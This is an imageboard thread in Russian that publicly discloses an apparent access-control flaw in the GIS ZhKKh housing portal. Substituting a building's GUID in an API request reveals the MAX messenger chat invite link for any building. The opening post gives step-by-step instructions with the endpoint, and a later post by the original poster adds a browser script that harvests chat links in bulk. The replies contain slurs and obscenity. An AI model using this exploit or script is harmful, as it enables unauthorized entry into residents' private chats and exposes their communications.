Долго думал, палить или нет РЕАЛЬНУЮ УЯЗВИМОСТЬ в МАКСе / MAX, а точнее в ГИС ЖКХ (a.k.a Госуслуги Д

Аноним 07/03/26 Суб 12:15:06 #1 №330503068

Долго думал, палить или нет РЕАЛЬНУЮ УЯЗВИМОСТЬ в МАКСе / MAX, а точнее в ГИС ЖКХ (a.k.a Госуслуги Дом).

Как все знают, в декабре Путин подписал закон о взаимодействии жителей с управляющими компаниями посредством чатов в мессенджере МАКС. В эти чаты могут вступать не только жильцы, а АБСОЛЮТНО ЛЮБОЙ, у кого есть пригласительная ссылка. Пригласительную ссылку на чат своего дома можно получить через ГИС ЖКХ. Сайт шлет запрос с GUID дома и получает ссылку на домовой чат. Если подменить GUID дома в запросе, то можно получить доступ в чат ЛЮБОГО ДОМА.

Теперь по шагам:
Шаг 1. Найти нужный дом в https://dom.gosuslugi.ru/#!/houses
Шаг 2. Открыть дом через «Сведения об объекте жилищного фонда»
Шаг 3. Взять GUID дома в АДРЕСНОЙ СТРОКЕ (это то, что находится между guid= и &typeCode)

Шаг 4. ((Для этого шага требуется авторизация на ГИС ЖКХ через Госуслуги!!!)) Подставляем GUID дома в ссылку ниже и открываем

https://my.dom.gosuslugi.ru/ppa/api/rest/services/ppa/house-chat/ТУТ_GUID_ДОМА

Шаг 5. ???
Шаг 6. PROFIT!

[mailto:sage] Аноним 07/03/26 Суб 12:17:25 #2 №330503147

И кому и нахуя это надо?

Аноним 07/03/26 Суб 12:18:04 #3 №330503173

>>330503147
Ты двачер или как воображения нет?

Аноним 07/03/26 Суб 12:18:41 #4 №330503196

>>330503068 (OP)
Хохлы совсем ебанулись от горя

Аноним 07/03/26 Суб 12:20:29 #5 №330503256

ээээ ты чё пидарас
мимо разработчик гис жкх

Аноним 07/03/26 Суб 12:23:02 #6 №330503326

>>330503173
Дохуя кому нашкодил уже? Или жим жим очку

Аноним 07/03/26 Суб 12:23:06 #7 №330503328

>>330503068 (OP)
За нахождение уязвимости в макс платят деньги, так что все подобные треды полная хуйня.

Аноним 07/03/26 Суб 12:26:14 #8 №330503415

>>330503328
>рашка
>отсылать уязвимости за вознаграждение
Ага, и через минуту отправляют в Харп по госизмене на 20 лет, внеся с список тираристов-истримистов, как иноагента, нежелательного в этой федерации.

Аноним 07/03/26 Суб 12:41:06 #9 №330503855

>>330503068 (OP)
Ожидаем лулзов.

Аноним OP 07/03/26 Суб 12:55:39 #10 №330504281

Аноним OP 07/03/26 Суб 13:02:45 #11 №330504524

Аноним 07/03/26 Суб 13:13:03 #12 №330504839

>>330503068 (OP)
Это что-то на уровне: добавить адрес в Сбербанке и посмотреть чужие счета и долги по ЖКХ

Аноним 07/03/26 Суб 13:16:22 #13 №330504951

жаль нельзя нассать в эти чаты

Аноним OP 07/03/26 Суб 13:17:00 #14 №330504971

Аноним OP 07/03/26 Суб 13:18:52 #15 №330505049

Скрипт для формирования списка ссылок из поиска из Шага 1

```
const p = [];
$(".register-card").each(function () {
const guid = $(this).scope().house.guid;
p.push(
fetch(
"https://my.dom.gosuslugi.ru/ppa/api/rest/services/ppa/house-chat/" +
guid,
{ credentials: "include" },
)
.then((x) => x.json())
.then((x) => {
$(this).prepend(
x[0]?.chatUrl
? `<a href="${x[0]?.chatUrl}" target="_blank">${x[0]?.chatUrl}</a>`
: "No link",
);
if (x[0]?.chatUrl) return x[0]?.chatUrl;
}),
);
});
await Promise.all(p)
.then((x) => x.filter(Boolean))
.then((x) => x.join("\n"))
.then(console.log);
```

Аноним 07/03/26 Суб 13:20:01 #16 №330505082

1770816533.png

1770816058.png

>>330503068 (OP)
Как мыслит оп: я сейчас нагажу в чате, хуи пришлю и очко негра.
Как мыслит мессенджер МАХ: я тебе дам пожизненный бан, дурачок, в сервисе, без которого ты не сможешь выжить в Кибер-панк-гулаге прекрасной России будущего.

Аноним 07/03/26 Суб 13:20:08 #17 №330505090

И че? У меня на каждом подъезде каждого дома висел куарикод либо номер ватсап с чатом дома уже лет 200 как... Даже в чат своего дома лень заходить, а ты предлагаешь входить в рандомные? А смысл какой? Срачи читать 🤔? Для этого есть б

Аноним 07/03/26 Суб 13:22:26 #18 №330505169

>>330505090
> Срачи читать 🤔? Для этого есть б
Тупой бот, сейчас ты на каком разделе находишься?

Аноним 07/03/26 Суб 13:23:21 #19 №330505201

>>330505169
Именно в б и находимся с тобой, дебик

Аноним 07/03/26 Суб 13:24:13 #20 №330505239

>>330503068 (OP)
!!! ВНИМАНИЕ !!!
ОП - хохол из СБУ.
Уязвимость - настоящая. Будет устранена в ближайшее время.
Следование шагам топикстартера повлечёт за собой ответственность, вплоть до уголовной за содействие иностранным спецслужбам.
Думайте головой, прежде чем кликать по первым попавшимся ссылкам.

Аноним 07/03/26 Суб 13:29:54 #21 №330505462

>>330505239
Какой закон нарушается если вступить в домовой чат?

Аноним 07/03/26 Суб 13:36:31 #22 №330505671

>>330505239
Это пиздец, такие банальные уязвимости, мда

Аноним 07/03/26 Суб 13:39:59 #23 №330505800

>>330505239
Хуцпа.
На самом деле создатель СКАМА - хохол из СБУ Кириенко.

Пособничество хохлам из СБУ за распространение вредоносного шпионского программного обеспечения повлечёт расстрельную ответственность.

Аноним 07/03/26 Суб 13:41:52 #24 №330505883

>>330505462
По прямому указанию хохлоспецслужб нельзя. даже если тебе позвонит Зеля на личный номер и скажет анон, сходи посри, и ты последуешь его поручению, а наши ребята это засекут через МАКС, то поедешь по этапу как предатель Родины.